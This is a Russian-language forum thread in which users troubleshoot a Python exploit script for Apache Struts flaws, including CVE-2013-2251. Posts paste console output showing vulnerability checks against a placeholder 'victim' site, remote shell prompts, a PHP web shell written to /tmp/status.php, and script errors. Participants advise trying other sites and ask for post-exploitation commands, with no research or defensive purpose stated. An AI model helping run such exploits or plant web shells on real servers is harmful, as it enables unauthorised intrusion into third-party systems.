Apache Struts v3 - Используем уязвимости.

Elektrolife · 27.08.2018

В примере написано www.victim.com/files.login Что такое files.login ? Просто произвольная страница взятая для примера ?

У меня почему то нет надписи " upload shell "

[+] EJECUTANDO EXPLOIT 1
[-] NO VULNERABLE
[+] EJECUTANDO EXPLOIT 2
[-] VULNERABLE
[-] RUN EXPLOIT (s/n): s
[-] GET PROMPT...

Struts2@Shell_2:$

Шелл вроде как получил но на любые команды он выдаёт конфигурацию апача ( насколько я понял ) Я что то упустил ?

Литиум · 27.08.2018

Elektrolife сказал(а):
В примере написано www.victim.com/files.login Что такое files.login ? Просто произвольная страница взятая для примера ?

У меня почему то нет надписи " upload shell "

[+] EJECUTANDO EXPLOIT 1
[-] NO VULNERABLE
[+] EJECUTANDO EXPLOIT 2
[-] VULNERABLE
[-] RUN EXPLOIT (s/n): s
[-] GET PROMPT...

Struts2@Shell_2:$

Шелл вроде как получил но на любые команды он выдаёт конфигурацию апача ( насколько я понял ) Я что то упустил ?

С данной проблемой не сталкивался , попробуйте на другом сайте. Если будет такая же проблема , постараюсь решить вашу проблему.

HakJob · 27.08.2018

Код:

 [+] EJECUTANDO EXPLOIT 1
   [-] VULNERABLE
   [-] RUN EXPLOIT (s/n): s
   [-] GET PROMPT...

   * [UPLOAD SHELL]
     Struts@Shell:$ pwnd (php)

Struts2@Shell_1:$ pwnd
path EJ:/tmp/: ls
Traceback (most recent call last):
  File "ApacheStruts.py", line 115, in <module>
    if espacio[1] == 'php':
IndexError: list index out of range

invetrika · 27.08.2018

Shell получается но вылазиет ошибка , открыл скрипт, посмотрел 115 строку на которую ругается, нихена не понял, решил написать сюда, как в целом эскплуатируется данная уязвимость, и что с ней можно сделать далее, после получения шеллов?

Литиум · 27.08.2018

invetrika сказал(а):
Shell получается но вылазиет ошибка , открыл скрипт, посмотрел 115 строку на которую ругается, нихена не понял, решил написать сюда, как в целом эскплуатируется данная уязвимость, и что с ней можно сделать далее, после получения шеллов?

(115).
pathsave=raw_input("path EJ:/tmp/: ")
if espacio[1] == 'php':

Вы правы. Остается только ждать когда разработчик скрипта исправит ошибку. Возможно есть альтернативное решение проблемы. Сейчас разбираюсь.
IndexError: list index out of range

invetrika сказал(а):
Shell получается но вылазиет ошибка , открыл скрипт, посмотрел 115 строку на которую ругается, нихена не понял, решил написать сюда, как в целом эскплуатируется данная уязвимость, и что с ней можно сделать далее, после получения шеллов?

Внимание! Скрипт перезалили!

HakJob · 27.08.2018

Перезалил себе скрипт - теперь на старте сразу ошибка )) Не обновляйтесь пока

Литиум · 27.08.2018

HakJob сказал(а):
Перезалил себе скрипт - теперь на старте сразу ошибка )) Не обновляйтесь пока

Это понятно , скрипт хороший , однако ждем когда все исправит и пользуемся на здоровье!

invetrika · 27.08.2018

Надо код поковырять)) посмотреть, а вдруг это кто то пытается Backdoor нам закинуть))) что бы следить за нами))
П - паранойя over100000000% )))

Литиум · 27.08.2018

invetrika сказал(а):
Надо код поковырять)) посмотреть, а вдруг это кто то пытается Backdoor нам закинуть))) что бы следить за нами))
П - паранойя over100000000% )))

Вообще-то opensource , просто посмотри код , в противном случае администрация github давно бы удалила скрипт. К тому же , это его не первый проект.

invetrika · 27.08.2018

Литиум сказал(а):
Вообще-то opensource , просто посмотри код , в противном случае администрация github давно бы удалила скрипт. К тому же , это его не первый проект.

Да я задуряюсь) Просто прочитал где то про внедрение бэкдоров в python скрипты) и всё, у меня началась паранойя)

HakJob · 27.08.2018

у кого старая версия файла осталась - выложите плиз

Dinzex · 27.08.2018

Эх, знать бы команды для пост эксплуатации. ТС, дай знать как исправят ошибку. А за софт D A Y B O G Z D O R O V Y A

Литиум · 27.08.2018

Dinzex сказал(а):
Эх, знать бы команды для пост эксплуатации. ТС, дай знать как исправят ошибку. А за софт D A Y B O G Z D O R O V Y A

Хорошо. В лс напишу.

Elektrolife · 28.08.2018

Примерно вот какая хрень у меня постоянно:

[+] EJECUTANDO EXPLOIT 2
[-] VULNERABLE
[-] RUN EXPLOIT (s/n): s
[-] GET PROMPT...

Struts2@Shell_2:$ ls
censed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
-->

<!DOCTYPE html>

HakJob · 28.08.2018

так он вроде не показывает там уязвимостей
проверь на другом обьекте

Elektrolife · 28.08.2018

HakJob · 28.08.2018

сорян, забыл что там минуса остаются

HakJob · 28.08.2018

Шел залит, но пути к нему не могу найти

Код:

[+] EJECUTANDO EXPLOIT CVE-2013-2251
   [-] VULNERABLE
   [-] RUN THIS EXPLOIT (s/n): s
   [-] GET PROMPT...

   * [UPLOAD SHELL]
     Struts@Shell:$ pwnd (php)

Struts2@Shell_1:$ pwnd php
path EJ:/tmp/: /tmp/

Create File Successfull :) [/tmp/status.php]

Dinzex · 28.08.2018

[+] EJECUTANDO EXPLOIT CVE-2013-2251
[-] VULNERABLE
[-] RUN THIS EXPLOIT (s/n): s
[-] GET PROMPT...

* [UPLOAD SHELL]
Struts@Shell:$ pwnd (php)

Struts2@Shell_1:$ pwnd php
path EJ:/tmp/: /tmp/

No Create File :/

Что не так, ребят?

Apache Struts v3 - Используем уязвимости.

Комментарии

Ещё по теме